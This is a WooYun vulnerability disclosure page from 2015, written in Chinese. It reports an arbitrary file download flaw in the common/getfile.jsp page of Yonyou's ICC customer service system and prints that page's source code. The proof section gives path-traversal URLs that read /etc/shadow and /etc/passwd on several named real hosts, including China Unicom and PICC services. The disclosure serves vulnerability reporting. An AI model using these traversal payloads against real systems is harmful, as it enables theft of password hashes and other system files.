当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090956

漏洞标题:用友ICC客服系统任意文件下载漏洞影响联通人寿等

相关厂商:用友软件

漏洞作者: error

提交时间:2015-01-11 12:16

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-11: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商已经确认,细节仅向厂商公开
2015-01-15: 细节向第三方安全合作伙伴开放
2015-03-08: 细节向核心白帽子及相关领域专家公开
2015-03-18: 细节向普通白帽子公开
2015-03-28: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

任意文件下载

详细说明:

用友icc客户系统存在任意文件下载漏洞,漏洞文件common/getfile.jsp源码如下:
<%@ page contentType="text/html;charset=UTF-8" %>
<%@ page import="java.io.*,com.ufida.icc.util.*,java.util.*" %><%
String fullPath = "";
String f="";
f = request.getParameter("p");
if(CommonUtil.validateParam(f)){
f = "";
}
f = CommonUtil.filtParam(f);
if(f == null || f.equals("")){
out.print("请传入文件名。<br>");
return;
}
f = f.substring(f.lastIndexOf("/")+1);
String extName = f.substring(f.lastIndexOf(".")+1);
if(extName.equals(f)){
out.print("请传入正确的文件名,带后缀<br>");
return;
}
String basePath = null;
String baseUrl = null;
baseUrl = SystemProperties.instance().webBaseUrl;
basePath = SystemProperties.instance().webUploadPath;
fullPath = basePath + f;
fullPath = fullPath.replace("\\","/");
String fullPathFileName = fullPath.substring(fullPath.lastIndexOf("/")+1);
String fullPathFile = fullPath.replace(fullPathFileName,"");
File fileLoad = new File(fullPathFile, fullPathFileName);
if(fileLoad.exists()){
OutputStream outp = null;
FileInputStream in = null;
String typeName = "application/octet-stream";
try{
outp= response.getOutputStream();
byte b[] = new byte[1024];
response.setHeader("Content-disposition", "attachment;filename=" + fullPathFileName);
response.setContentType(typeName);
long fileLength = fileLoad.length();
String length = String.valueOf(fileLength);
response.setHeader("Content-Length", length);
in = new FileInputStream(fileLoad);
int n = 0;
while ((n = in.read(b)) != -1) {
outp.write(b, 0, n);
}
outp.flush();
}catch(Exception e){
out.println("下载失败:" + e.getMessage());
}finally{
if(in != null){
in.close();
in = null;
}
if(outp != null){
outp.close();
outp = null;
out.clear();
out = pageContext.pushBody();
}
}
}else{
out.print("文件"+fullPathFileName+"不存在。<br>");
}
%>

漏洞证明:

案例:
http://111.75.198.122/web/icc/chat/chat?c=1&s=1

0.png


http://111.75.198.122/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\shadow

1.png


其他案例:
中国联通在线导购客服
http://help.10010.com/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\passwd
中国联通客服
http://webservice.10010.com/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\shadow
人寿保险客服
http://im.e-picc.com.cn/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\shadow
网维游戏客服
http://icc.shunwang.com/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\shadow

修复方案:

过滤

版权声明:转载请注明来源 error@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-12 09:47

厂商回复:

多谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-22 17:25 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)